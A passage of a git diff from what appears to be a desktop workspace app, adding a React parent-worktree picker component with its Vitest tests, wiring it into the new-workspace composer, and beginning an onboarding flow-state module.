+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={vi.fn()} />)
+
+    expect(trigger().textContent).toContain('No parent')
+  })
+
+  it('shows the picked worktree display name on the closed trigger', () => {
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha workspace' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value="alpha" onChange={vi.fn()} />)
+
+    expect(trigger().textContent).toContain('Alpha workspace')
+    expect(trigger().textContent).not.toContain('No parent')
+  })
+
+  it('reports the picked worktree id and closes when a candidate row is clicked', () => {
+    const onChange = vi.fn()
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={onChange} />)
+    fireEvent.click(trigger())
+    fireEvent.click(rowFor('Alpha'))
+
+    expect(onChange).toHaveBeenCalledWith('alpha')
+    expect(rows()).toHaveLength(0)
+  })
+
+  it('clears the pick when the pinned "No parent" row is clicked', () => {
+    const onChange = vi.fn()
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value="alpha" onChange={onChange} />)
+    fireEvent.click(trigger())
+    fireEvent.click(rows()[0])
+
+    expect(onChange).toHaveBeenCalledWith(null)
+    expect(rows()).toHaveLength(0)
+  })
+
+  it('excludes archived worktrees and worktrees from another repo', () => {
+    seed(
+      [
+        makeWorktree({ id: 'alpha', displayName: 'Alpha' }),
+        makeWorktree({ id: 'archived', displayName: 'Archived', isArchived: true }),
+        makeWorktree({ id: 'other', displayName: 'Other repo', repoId: 'repo2' })
+      ],
+      [REPO_ID, 'repo2']
+    )
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={vi.fn()} />)
+    fireEvent.click(trigger())
+
+    expect(candidateLabels().join(' ')).toContain('Alpha')
+    expect(candidateLabels().join(' ')).not.toContain('Archived')
+    expect(candidateLabels().join(' ')).not.toContain('Other repo')
+  })
+
+  it('excludes candidates on another execution host or project', () => {
+    seed([
+      makeWorktree({ id: 'same', displayName: 'Same host', hostId: 'local', projectId: 'proj1' }),
+      makeWorktree({
+        id: 'otherHost',
+        displayName: 'Other host',
+        hostId: 'ssh:box',
+        projectId: 'proj1'
+      }),
+      makeWorktree({
+        id: 'otherProject',
+        displayName: 'Other project',
+        hostId: 'local',
+        projectId: 'proj2'
+      })
+    ])
+
+    render(
+      <ComposerParentWorktreePicker
+        repoId={REPO_ID}
+        executionHostId="local"
+        projectId="proj1"
+        value={null}
+        onChange={vi.fn()}
+      />
+    )
+    fireEvent.click(trigger())
+
+    expect(candidateLabels().join(' ')).toContain('Same host')
+    expect(candidateLabels().join(' ')).not.toContain('Other host')
+    expect(candidateLabels().join(' ')).not.toContain('Other project')
+  })
+
+  // A worktree with no recorded hostId inherits its repo's host, which is the child's host too.
+  it('keeps candidates whose host or project is unrecorded', () => {
+    seed([makeWorktree({ id: 'unscoped', displayName: 'Unscoped' })])
+
+    render(
+      <ComposerParentWorktreePicker
+        repoId={REPO_ID}
+        executionHostId="local"
+        projectId="proj1"
+        value={null}
+        onChange={vi.fn()}
+      />
+    )
+    fireEvent.click(trigger())
+
+    expect(candidateLabels().join(' ')).toContain('Unscoped')
+  })
+
+  it('restricts candidates to the active folder workspace subtree', () => {
+    const attached = makeWorktree({
+      id: 'attached',
+      displayName: 'Attached',
+      instanceId: 'attached-instance'
+    })
+    const nested = makeWorktree({
+      id: 'nested',
+      displayName: 'Nested',
+      instanceId: 'nested-instance'
+    })
+    const outside = makeWorktree({ id: 'outside', displayName: 'Outside' })
+    seed([attached, nested, outside])
+    storeState.workspaceLineageByChildKey = {
+      [worktreeWorkspaceKey(attached.id)]: {
+        childWorkspaceKey: worktreeWorkspaceKey(attached.id),
+        childInstanceId: attached.instanceId ?? null,
+        parentWorkspaceKey: folderWorkspaceKey('folder-1'),
+        parentInstanceId: null,
+        origin: 'manual',
+        capture: { source: 'active-workspace', confidence: 'explicit' },
+        createdAt: 1
+      }
+    }
+    storeState.worktreeLineageById = {
+      [nested.id]: {
+        worktreeId: nested.id,
+        worktreeInstanceId: 'nested-instance',
+        parentWorktreeId: attached.id,
+        parentWorktreeInstanceId: 'attached-instance',
+        origin: 'manual',
+        capture: { source: 'manual-action', confidence: 'explicit' },
+        createdAt: 2
+      }
+    }
+
+    render(
+      <ComposerParentWorktreePicker
+        repoId={REPO_ID}
+        value={null}
+        onChange={vi.fn()}
+        activeFolderWorkspaceId="folder-1"
+      />
+    )
+    fireEvent.click(trigger())
+
+    const labels = candidateLabels().join(' ')
+    expect(labels).toContain('Attached')
+    expect(labels).toContain('Nested')
+    expect(labels).not.toContain('Outside')
+  })
+
+  it('keeps the trigger inert while disabled', () => {
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    render(
+      <ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={vi.fn()} disabled />
+    )
+    fireEvent.click(trigger())
+
+    expect(trigger().disabled).toBe(true)
+    expect(rows()).toHaveLength(0)
+  })
+
+  it('picks the top match when Enter follows a search query', () => {
+    const onChange = vi.fn()
+    seed([
+      makeWorktree({ id: 'alpha', displayName: 'Alpha' }),
+      makeWorktree({ id: 'beta', displayName: 'Beta' })
+    ])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={onChange} />)
+    fireEvent.click(trigger())
+    fireEvent.change(searchInput(), { target: { value: 'Beta' } })
+    fireEvent.keyDown(searchInput(), { key: 'Enter', keyCode: 13 })
+
+    // Regression: the highlight used to reset onto the pinned "No parent" row, so the
+    // standard type-then-Enter flow cleared the parent instead of picking the match.
+    expect(onChange).toHaveBeenCalledWith('beta')
+  })
+
+  it('clears the parent when Enter is pressed with no search query', () => {
+    const onChange = vi.fn()
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value="alpha" onChange={onChange} />)
+    fireEvent.click(trigger())
+    fireEvent.keyDown(searchInput(), { key: 'Enter', keyCode: 13 })
+
+    expect(onChange).toHaveBeenCalledWith(null)
+  })
+
+  it('keeps the parent when Enter only confirms a CJK composition', () => {
+    const onChange = vi.fn()
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={onChange} />)
+    fireEvent.click(trigger())
+    fireEvent.compositionStart(searchInput())
+    // The confirming Enter arrives twice: the marked keydown, then an unmarked redispatch.
+    fireEvent.keyDown(searchInput(), { key: 'Enter', keyCode: 229 })
+    fireEvent.keyDown(searchInput(), { key: 'Enter', keyCode: 13 })
+
+    expect(onChange).not.toHaveBeenCalled()
+    expect(rows().length).toBeGreaterThan(0)
+  })
+
+  it('falls back to "No parent" on the trigger when the picked parent is archived', () => {
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha workspace', isArchived: true })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value="alpha" onChange={vi.fn()} />)
+
+    expect(trigger().textContent).not.toContain('Alpha workspace')
+    expect(trigger().textContent).toContain('No parent')
+  })
+
+  it('excludes a folder root whose lineage row is instance-stale', () => {
+    const attached = makeWorktree({
+      id: 'attached',
+      displayName: 'Attached',
+      instanceId: 'current-instance'
+    })
+    seed([attached])
+    storeState.workspaceLineageByChildKey = {
+      [worktreeWorkspaceKey(attached.id)]: {
+        childWorkspaceKey: worktreeWorkspaceKey(attached.id),
+        childInstanceId: 'deleted-and-recreated',
+        parentWorkspaceKey: folderWorkspaceKey('folder-1'),
+        parentInstanceId: null,
+        origin: 'manual',
+        capture: { source: 'active-workspace', confidence: 'explicit' },
+        createdAt: 1
+      }
+    }
+
+    render(
+      <ComposerParentWorktreePicker
+        repoId={REPO_ID}
+        value={null}
+        onChange={vi.fn()}
+        activeFolderWorkspaceId="folder-1"
+      />
+    )
+    fireEvent.click(trigger())
+
+    expect(candidateLabels().join(' ')).not.toContain('Attached')
+  })
+
+  it('closes an open popover when the drawer collapses the trigger', () => {
+    seed([makeWorktree({ id: 'alpha', displayName: 'Alpha' })])
+
+    const view = render(
+      <ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={vi.fn()} />
+    )
+    fireEvent.click(trigger())
+    expect(rows().length).toBeGreaterThan(0)
+
+    view.rerender(
+      <ComposerParentWorktreePicker repoId={REPO_ID} value={null} onChange={vi.fn()} disabled />
+    )
+
+    expect(rows()).toHaveLength(0)
+  })
+})
diff --git a/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx
new file mode 100644
index 00000000000..41c22978f14
--- /dev/null
+++ b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.tsx
@@ -0,0 +1,429 @@
+import React, { useCallback, useEffect, useId, useMemo, useRef, useState } from 'react'
+import { useTranslation } from 'react-i18next'
+import { Check, ChevronsUpDown, GitBranch } from 'lucide-react'
+import { useVirtualizer } from '@tanstack/react-virtual'
+import { Button } from '@/components/ui/button'
+import { Command, CommandInput, CommandList } from '@/components/ui/command'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import { cn } from '@/lib/utils'
+import {
+  isImeCompositionKeyDown,
+  useImeEnterGestureOwnership
+} from '@/lib/ime-composition-keyboard-event'
+import { translate } from '@/i18n/i18n'
+import { useAppStore } from '@/store'
+import {
+  getIndexedAllWorktrees,
+  getIndexedWorktreeById,
+  getIndexedWorktreeMap
+} from '@/store/worktree-repo-index'
+import { compareWorktreeDisplayName } from '@/lib/worktree-display-name-order'
+import { branchDisplayName } from '@/components/sidebar/WorktreeCardHelpers'
+import { getCyclicProjectedWorktreeLineageIds } from '@/components/sidebar/worktree-lineage-projection'
+import {
+  clampWorktreeParentPickerIndex,
+  filterWorktreeParentCandidates
+} from '@/components/sidebar/worktree-parent-picker-filtering'
+import {
+  PICKER_LIST_MAX_HEIGHT,
+  PICKER_ROW_HEIGHT,
+  PICKER_ROW_OVERSCAN
+} from '@/components/sidebar/worktree-parent-picker-placement'
+import {
+  getLineageChildrenByParentId,
+  getLineageChildWorktree
+} from '@/components/right-sidebar/folder-workspace-attached-worktrees'
+import { COMBOBOX_POPOVER_SURFACE } from './type-ahead-combobox-styles'
+import {
+  sharesWorktreeLineageBoundary,
+  type WorktreeLineageBoundary
+} from '../../../../shared/resolved-worktree-lineage'
+import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
+import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
+
+/** Single-line row: text-sm leading (20px) over py-2. Set as the row's explicit height. */
+const NO_PARENT_ROW_HEIGHT = 36
+const NO_PARENT_ROW_KEY = 'no-parent'
+
+type ComposerParentWorktreePickerProps = {
+  repoId: string
+  /** Parent must belong to the same execution host that will create the child. */
+  executionHostId?: ExecutionHostId | null
+  projectId?: string | null
+  value: string | null
+  onChange: (id: string | null) => void
+  disabled?: boolean
+  /** When the active workspace is a folder, restrict candidates to that folder's subtree. */
+  activeFolderWorkspaceId?: string | null
+}
+
+type ParentWorktreeCandidateListProps = {
+  repoId: string
+  executionHostId?: ExecutionHostId | null
+  projectId?: string | null
+  value: string | null
+  activeFolderWorkspaceId: string | null
+  onSelect: (id: string | null) => void
+}
+
+/**
+ * Parent picker for the composer's Advanced drawer. Nesting only — the base
+ * branch is unaffected.
+ *
+ * Everything that enumerates worktrees lives in the inner list, which Radix
+ * mounts on open, so a closed picker costs one string selector and nothing else.
+ */
+function ComposerParentWorktreePickerImpl({
+  repoId,
+  executionHostId,
+  projectId,
+  value,
+  onChange,
+  disabled = false,
+  activeFolderWorkspaceId = null
+}: ComposerParentWorktreePickerProps): React.JSX.Element {
+  // Why: subscribe so translate() copy refreshes on language change without a remount.
+  useTranslation()
+  const [open, setOpen] = useState(false)
+  const labelId = `${useId()}label`
+
+  // Why: an archived parent is already gone from the candidate list and the sidebar would
+  // drop the edge, so showing its name would promise nesting the create can't deliver.
+  const parentName = useAppStore((s) => {
+    if (!value) {
+      return null
+    }
+    const parent = getIndexedWorktreeById(s.worktreesByRepo, value)
+    return parent && !parent.isArchived ? parent.displayName : null
+  })
+
+  // Why: the trigger goes inert when the Advanced drawer collapses, but the portaled
+  // popover does not — it would linger detached from a control the user can't reach.
+  // Adjusted during render (not in an effect) so the stale-open frame never paints.
+  if (open && disabled) {
+    setOpen(false)
+  }
+
+  const handleSelect = useCallback(
+    (nextId: string | null) => {
+      onChange(nextId)
+      setOpen(false)
+    },
+    [onChange]
+  )
+
+  return (
+    <div className="space-y-1.5">
+      <span id={labelId} className="block text-xs font-medium text-muted-foreground">
+        {translate('auto.components.ComposerParentWorktreePicker.label', 'Parent worktree')}
+      </span>
+      <Popover open={open} onOpenChange={setOpen}>
+        <PopoverTrigger asChild>
+          <Button
+            type="button"
+            variant="outline"
+            role="combobox"
+            aria-expanded={open}
+            aria-labelledby={labelId}
+            disabled={disabled}
+            className="h-9 w-full justify-between border-input px-3 text-sm font-normal text-foreground focus:border-ring focus:ring-[3px] focus:ring-ring/50"
+          >
+            <span className="truncate">
+              {parentName ??
+                translate('auto.components.ComposerParentWorktreePicker.noParent', 'No parent')}
+            </span>
+            <ChevronsUpDown className="size-3.5 shrink-0 opacity-50" />
+          </Button>
+        </PopoverTrigger>
+        <PopoverContent
+          align="start"
+          className={cn(
+            'flex w-[var(--radix-popover-trigger-width)] min-w-[17rem] flex-col p-0',
+            COMBOBOX_POPOVER_SURFACE
+          )}
+          // Why: Radix would focus the content wrapper; the search box is the real target.
+          onOpenAutoFocus={(event) => {
+            event.preventDefault()
+            const content = event.currentTarget
+            if (content instanceof HTMLElement) {
+              content.querySelector<HTMLInputElement>('[data-slot="command-input"]')?.focus()
+            }
+          }}
+        >
+          <ParentWorktreeCandidateList
+            repoId={repoId}
+            executionHostId={executionHostId}
+            projectId={projectId}
+            value={value}
+            activeFolderWorkspaceId={activeFolderWorkspaceId}
+            onSelect={handleSelect}
+          />
+        </PopoverContent>
+      </Popover>
+      <p className="text-[11px] text-muted-foreground">
+        {translate(
+          'auto.components.ComposerParentWorktreePicker.description',
+          'Nests this workspace under another in the sidebar. Does not change the base branch.'
+        )}
+      </p>
+    </div>
+  )
+}
+
+/** Worktrees reachable from the folder workspace, so a pick can't drop the new one out of it. */
+function getFolderWorkspaceSubtreeIds(
+  folderWorkspaceId: string,
+  workspaceLineageByChildKey: Readonly<Record<string, WorkspaceLineage>>,
+  worktreeLineageById: Record<string, WorktreeLineage>,
+  worktreeById: Map<string, Worktree>
+): Set<string> {
+  const folderKey = folderWorkspaceKey(folderWorkspaceId)
+  const rootIds = new Set<string>()
+  for (const lineage of Object.values(workspaceLineageByChildKey)) {
+    if (lineage.parentWorkspaceKey !== folderKey) {
+      continue
+    }
+    // Why: the folder view drops archived and instance-stale rows, so accepting them here
+    // would offer a parent whose whole branch the folder never actually shows.
+    const rootWorktree = getLineageChildWorktree(lineage, worktreeById)
+    if (rootWorktree) {
+      rootIds.add(rootWorktree.id)
+    }
+  }
+
+  const subtreeIds = new Set(rootIds)
+  for (const children of getLineageChildrenByParentId(
+    worktreeLineageById,
+    worktreeById,
+    rootIds
+  ).values()) {
+    for (const child of children) {
+      subtreeIds.add(child.id)
+    }
+  }
+  return subtreeIds
+}
+
+function ParentWorktreeCandidateList({
+  repoId,
+  executionHostId,
+  projectId,
+  value,
+  activeFolderWorkspaceId,
+  onSelect
+}: ParentWorktreeCandidateListProps): React.JSX.Element {
+  const worktreesByRepo = useAppStore((s) => s.worktreesByRepo)
+  const worktreeLineageById = useAppStore((s) => s.worktreeLineageById)
+  const workspaceLineageByChildKey = useAppStore((s) => s.workspaceLineageByChildKey)
+  const listRef = useRef<HTMLDivElement>(null)
+  const inputRef = useRef<HTMLInputElement>(null)
+  const imeEnter = useImeEnterGestureOwnership()
+  const optionIdPrefix = `${useId()}option`
+  const [search, setSearch] = useState('')
+  const [highlightedIndex, setHighlightedIndex] = useState(0)
+
+  const candidates = useMemo(() => {
+    // Why `?? undefined`: an unresolved host or project is "not known yet", not "no host", and
+    // the boundary check reads undefined on either side as a wildcard. A candidate in this repo
+    // with no recorded hostId inherits that repo's host, so it is on the child's host too.
+    const childBoundary: WorktreeLineageBoundary = {
+      repoId,
+      hostId: executionHostId ?? undefined,
+      projectId: projectId ?? undefined
+    }
+    const worktreeMap = getIndexedWorktreeMap(worktreesByRepo)
+    const cyclicLineageIds = getCyclicProjectedWorktreeLineageIds(worktreeLineageById, worktreeMap)
+    const folderSubtreeIds = activeFolderWorkspaceId
+      ? getFolderWorkspaceSubtreeIds(
+          activeFolderWorkspaceId,
+          workspaceLineageByChildKey,
+          worktreeLineageById,
+          worktreeMap
+        )
+      : null
+    return getIndexedAllWorktrees(worktreesByRepo)
+      .filter(
+        (candidate) =>
+          candidate.repoId === repoId &&
+          !candidate.isArchived &&
+          sharesWorktreeLineageBoundary(childBoundary, candidate) &&
+          !cyclicLineageIds.has(candidate.id) &&
+          (folderSubtreeIds === null || folderSubtreeIds.has(candidate.id))
+      )
+      .sort(compareWorktreeDisplayName)
+  }, [
+    activeFolderWorkspaceId,
+    executionHostId,
+    projectId,
+    repoId,
+    workspaceLineageByChildKey,
+    worktreeLineageById,
+    worktreesByRepo
+  ])
+
+  const filtered = useMemo(
+    () => filterWorktreeParentCandidates(candidates, search),
+    [candidates, search]
+  )
+  // Index 0 is the pinned "No parent" row; candidates start at 1.
+  const activeIndex = clampWorktreeParentPickerIndex(highlightedIndex, filtered.length + 1)
+
+  // Why: the "No parent" row is virtualized as index 0 rather than pinned above the
+  // scroller. A row outside the virtual container shifts every item's true position
+  // without the virtualizer knowing, so scrollToIndex would land short by that height.
+  const virtualizer = useVirtualizer({
+    count: filtered.length + 1,
+    getScrollElement: () => listRef.current,
+    estimateSize: (index) => (index === 0 ? NO_PARENT_ROW_HEIGHT : PICKER_ROW_HEIGHT),
+    overscan: PICKER_ROW_OVERSCAN,
+    getItemKey: (index) => (index === 0 ? NO_PARENT_ROW_KEY : (filtered[index - 1]?.id ?? index)),
+    // Why: the list mounts inside a popover that measures on the next frame, so
+    // seed the viewport to avoid a blank first paint.
+    initialRect: { width: 0, height: PICKER_LIST_MAX_HEIGHT }
+  })
+
+  const moveHighlight = useCallback(
+    (nextIndex: number) => {
+      setHighlightedIndex(nextIndex)
+      virtualizer.scrollToIndex(nextIndex, { align: 'auto' })
+    },
+    [virtualizer]
+  )
+
+  const handleSearchChange = useCallback(
+    (nextSearch: string) => {
+      // Why: re-ranking on each keystroke makes any prior highlight meaningless. A query
+      // highlights the top match so Enter picks it; index 0 clears the parent, which is
+      // never what typing a name means. The clamp drops it back to 0 when nothing matches.
+      setSearch(nextSearch)
+      setHighlightedIndex(nextSearch.trim().length > 0 ? 1 : 0)
+      virtualizer.scrollToOffset(0)
+    },
+    [virtualizer]
+  )
+
+  const handleKeyDown = useCallback(
+    (event: React.KeyboardEvent<HTMLInputElement>) => {
+      // Why: cmdk's root handler only knows the mounted virtual window, so own navigation here.
+      // A CJK confirm sends two Enter keydowns and only the first is marked, so the marked-only
+      // check must be paired with the gesture carry or the unmarked one commits a selection.
+      if (imeEnter.ownsKeyDown(event) || isImeCompositionKeyDown(event)) {
+        return
+      }
+      const navigate = (nextIndex: number): void => {
+        event.preventDefault()
+        event.stopPropagation()
+        moveHighlight(clampWorktreeParentPickerIndex(nextIndex, filtered.length + 1))
+      }
+      if (event.key === 'ArrowDown') {
+        navigate(activeIndex + 1)
+      } else if (event.key === 'ArrowUp') {
+        navigate(activeIndex - 1)
+      } else if (event.key === 'Home') {
+        navigate(0)
+      } else if (event.key === 'End') {
+        navigate(filtered.length)
+      } else if (event.key === 'Enter') {
+        const candidate = activeIndex === 0 ? null : filtered[activeIndex - 1]
+        if (activeIndex === 0 || candidate) {
+          event.preventDefault()
+          event.stopPropagation()
+          onSelect(candidate?.id ?? null)
+        }
+      }
+    },
+    [activeIndex, filtered, imeEnter, moveHighlight, onSelect]
+  )
+
+  // Why: cmdk's Input owns aria-activedescendant and points it at its own empty
+  // item registry while we drive selection, so re-point it after every commit.
+  useEffect(() => {
+    inputRef.current?.setAttribute('aria-activedescendant', `${optionIdPrefix}-${activeIndex}`)
+  })
+
+  const virtualRows = virtualizer.getVirtualItems()
+
+  return (
+    <Command shouldFilter={false} className="min-h-0 bg-transparent">
+      <CommandInput
+        ref={inputRef}
+        value={search}
+        onValueChange={handleSearchChange}
+        onKeyDown={handleKeyDown}
+        onKeyUp={imeEnter.onKeyUp}
+        onCompositionStart={() => imeEnter.setComposing(true)}
+        onCompositionEnd={() => imeEnter.setComposing(false)}
+        wrapperClassName="shrink-0"
+        placeholder={translate(
+          'auto.components.ComposerParentWorktreePicker.searchPlaceholder',
+          'Search workspaces...'
+        )}
+      />
+      <CommandList ref={listRef} className="max-h-72 min-h-0 flex-1">
+        <div className="relative w-full" style={{ height: virtualizer.getTotalSize() }}>
+          {virtualRows.map((virtualRow) => {
+            const rowIndex = virtualRow.index
+            const candidate = rowIndex === 0 ? null : filtered[rowIndex - 1]
+            if (rowIndex !== 0 && !candidate) {
+              return null
+            }
+            const isHighlighted = rowIndex === activeIndex
+            return (
+              <div
+                key={virtualRow.key}
+                id={`${optionIdPrefix}-${rowIndex}`}
+                role="option"
+                aria-selected={(candidate?.id ?? null) === value}
+                data-selected={isHighlighted || undefined}
+                // Why `jump-palette-item`: selection chrome lives in main.css — flat accent is invisible on light popovers.
+                className="jump-palette-item absolute left-0 top-0 flex w-full cursor-default select-none items-center gap-2 overflow-hidden rounded-sm px-2 py-2 text-sm outline-none"
+                style={{
+                  height: virtualRow.size,
+                  transform: `translateY(${virtualRow.start}px)`
+                }}
+                onPointerMove={() => setHighlightedIndex(rowIndex)}
+                onClick={() => onSelect(candidate?.id ?? null)}
+              >
+                <Check
+                  className={cn(
+                    'size-3.5 shrink-0',
+                    (candidate?.id ?? null) !== value && 'opacity-0'
+                  )}
+                />
+                {candidate ? (
+                  <div className="min-w-0 flex-1">
+                    <div className="truncate text-[13px] font-medium">{candidate.displayName}</div>
+                    <div className="mt-1 flex min-w-0 items-center gap-1.5 text-[11px] leading-none text-muted-foreground">
+                      <GitBranch className="size-3 shrink-0" />
+                      <span className="truncate">{branchDisplayName(candidate.branch)}</span>
+                    </div>
+                  </div>
+                ) : (
+                  <span className="truncate">
+                    {translate(
+                      'auto.components.ComposerParentWorktreePicker.noParent',
+                      'No parent'
+                    )}
+                  </span>
+                )}
+              </div>
+            )
+          })}
+        </div>
+        {filtered.length === 0 && search.trim().length > 0 ? (
+          <div className="py-6 text-center text-sm text-muted-foreground">
+            {translate('auto.components.ComposerParentWorktreePicker.noMatches', 'No matches.')}
+          </div>
+        ) : null}
+      </CommandList>
+    </Command>
+  )
+}
+
+/** Why: every prop is a primitive or a stable callback, so the composer's per-keystroke
+ *  renders stop here instead of re-rendering the popover subtree. */
+export const ComposerParentWorktreePicker = React.memo(ComposerParentWorktreePickerImpl)
+
+export default ComposerParentWorktreePicker
diff --git a/src/renderer/src/components/new-workspace/NewWorkspaceComposerAdvancedSection.tsx b/src/renderer/src/components/new-workspace/NewWorkspaceComposerAdvancedSection.tsx
index 549370ee029..f7b18f6ebaa 100644
--- a/src/renderer/src/components/new-workspace/NewWorkspaceComposerAdvancedSection.tsx
+++ b/src/renderer/src/components/new-workspace/NewWorkspaceComposerAdvancedSection.tsx
@@ -11,6 +11,7 @@ import {
   shouldHandleTextControlPaste
 } from '@/lib/text-control-paste'
 import { translate } from '@/i18n/i18n'
+import { ComposerParentWorktreePicker } from './ComposerParentWorktreePicker'
 import type { NewWorkspaceComposerCardProps } from './new-workspace-composer-card-props'
 
 function SetupCommandPreview({
@@ -37,6 +38,11 @@ type NewWorkspaceComposerAdvancedSectionProps = Pick<
   | 'branchesEnabled'
   | 'branchNameOverride'
   | 'onBranchNameOverrideChange'
+  | 'parentWorktreeId'
+  | 'onParentWorktreeIdChange'
+  | 'selectedRepoExecutionHostId'
+  | 'selectedRepoProjectId'
+  | 'activeFolderWorkspaceId'
   | 'note'
   | 'onNoteChange'
   | 'setupControlsEnabled'
@@ -74,6 +80,11 @@ export function NewWorkspaceComposerAdvancedSection({
   branchNameInputId,
   branchNameOverride,
   onBranchNameOverrideChange,
+  parentWorktreeId = null,
+  onParentWorktreeIdChange,
+  selectedRepoExecutionHostId,
+  selectedRepoProjectId,
+  activeFolderWorkspaceId = null,
   note,
   onNoteChange,
   setupControlsEnabled = true,
@@ -191,6 +202,18 @@ export function NewWorkspaceComposerAdvancedSection({
             </div>
           ) : null}
 
+          {selectedRepoIsGit && branchesEnabled && onParentWorktreeIdChange ? (
+            <ComposerParentWorktreePicker
+              repoId={repoId}
+              executionHostId={selectedRepoExecutionHostId}
+              projectId={selectedRepoProjectId}
+              value={parentWorktreeId}
+              onChange={onParentWorktreeIdChange}
+              activeFolderWorkspaceId={activeFolderWorkspaceId}
+              disabled={!advancedOpen}
+            />
+          ) : null}
+
           <div className="space-y-1">
             <label className="text-xs font-medium text-muted-foreground">
               {translate('auto.components.NewWorkspaceComposerCard.f8728aa4f9', 'Note')}
diff --git a/src/renderer/src/components/new-workspace/new-workspace-composer-card-props.ts b/src/renderer/src/components/new-workspace/new-workspace-composer-card-props.ts
index 52b70a8b9e0..bcff4c96f63 100644
--- a/src/renderer/src/components/new-workspace/new-workspace-composer-card-props.ts
+++ b/src/renderer/src/components/new-workspace/new-workspace-composer-card-props.ts
@@ -18,6 +18,7 @@ import type { SparsePreset } from '../../../../shared/worktree/create-types'
 import type { SshConnectionStatus } from '../../../../shared/ssh-types'
 import type { TaskSourceContext } from '../../../../shared/task-source-context'
 import type { TuiAgent } from '../../../../shared/tui-agent'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
 
 export type RepoOption = React.ComponentProps<typeof RepoCombobox>['repos'][number]
 export type EphemeralVmRecipeOption = NonNullable<OrcaHooks['environmentRecipes']>[number]
@@ -61,6 +62,11 @@ export type NewWorkspaceComposerCardProps = {
   onNameValueChange: (value: string) => void
   branchNameOverride: string | undefined
   onBranchNameOverrideChange: (value: string | undefined) => void
+  parentWorktreeId?: string | null
+  onParentWorktreeIdChange?: (value: string | null) => void
+  selectedRepoExecutionHostId?: ExecutionHostId | null
+  selectedRepoProjectId?: string | null
+  activeFolderWorkspaceId?: string | null
   onSmartGitHubItemSelect: (item: GitHubWorkItem) => void
   onSmartGitLabItemSelect: (item: GitLabWorkItem) => void
   onSmartBranchSelect: (refName: string, localBranchName: string) => void
diff --git a/src/renderer/src/components/onboarding/onboarding-flow-state.ts b/src/renderer/src/components/onboarding/onboarding-flow-state.ts
new file mode 100644
index 00000000000..853ed9096db
--- /dev/null
+++ b/src/renderer/src/components/onboarding/onboarding-flow-state.ts
@@ -0,0 +1,169 @@
+import { toast } from 'sonner'
+import type { AppState } from '@/store/types'
+import { translate } from '@/i18n/i18n'
+import { ONBOARDING_FINAL_STEP, ONBOARDING_FLOW_VERSION } from '../../../../shared/constants'
+import type { EventProps } from '../../../../shared/telemetry-events'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type { OnboardingState } from '../../../../shared/onboarding-state-types'
+import type { TuiAgent } from '../../../../shared/tui-agent'
+import { STEPS } from './use-onboarding-flow-types'
+
+type TaskSourcesSnapshotProps = EventProps<'onboarding_task_sources_snapshot'>
+type TaskSourcesGithubStatus = TaskSourcesSnapshotProps['github_status']
+type TaskSourcesLinearStatus = TaskSourcesSnapshotProps['linear_status']
+export type TaskSourcesExitAction = TaskSourcesSnapshotProps['exit_action']
+
+export function shouldSkipIntegrationsStep(status: AppState['preflightStatus']): boolean {
+  return status?.gh.installed === true
+}
+
+export function shouldSkipWindowsTerminalStep(isWindows: boolean): boolean {
+  return !isWindows
+}
+
+export type OnboardingStepSkipOptions = {
+  skipIntegrations: boolean
+  skipWindowsTerminal: boolean
+}
+
+export function isSkippedStepIndex(index: number, options: OnboardingStepSkipOptions): boolean {
+  const step = STEPS[index]
+  return (
+    (options.skipIntegrations && step?.id === 'integrations') ||
+    (options.skipWindowsTerminal && step?.id === 'windows_terminal')
+  )
+}
+
+export function resolveStepIndex(
+  index: number,
+  skipOptions: OnboardingStepSkipOptions,
+  direction: 'forward' | 'backward'
+): number {
+  const lastIndex = STEPS.length - 1
+  let nextIndex = Math.min(Math.max(index, 0), lastIndex)
+  while (isSkippedStepIndex(nextIndex, skipOptions)) {
+    const candidate = nextIndex + (direction === 'forward' ? 1 : -1)
+    if (candidate < 0 || candidate > lastIndex) {
+      return direction === 'forward' ? lastIndex : 0
+    }
+    nextIndex = candidate
+  }
+  return nextIndex
+}
+
+export function getGitHubTaskSourceStatus(
+  status: AppState['preflightStatus'],
+  loading: boolean
+): TaskSourcesGithubStatus {
+  if (loading || !status) {
+    return 'checking'
+  }
+  if (!status.gh.installed) {
+    return 'not_installed'
+  }
+  return status.gh.authenticated ? 'connected' : 'not_authenticated'
+}
+
+export function getLinearTaskSourceStatus(
+  status: AppState['linearStatus'],
+  checked: boolean
+): TaskSourcesLinearStatus {
+  if (status.connected) {
+    return 'connected'
+  }
+  return checked ? 'not_connected' : 'checking'
+}
+
+type OnboardingStepId = (typeof STEPS)[number]['id']
+
+type OnboardingProgressSnapshot = Pick<
+  OnboardingState,
+  'flowVersion' | 'lastCompletedStep' | 'outcome'
+>
+
+export function remapOpenOnboardingLastCompletedStep({
+  flowVersion,
+  lastCompletedStep,
+  outcome
+}: OnboardingProgressSnapshot): number {
+  if (flowVersion === ONBOARDING_FLOW_VERSION) {
+    return lastCompletedStep
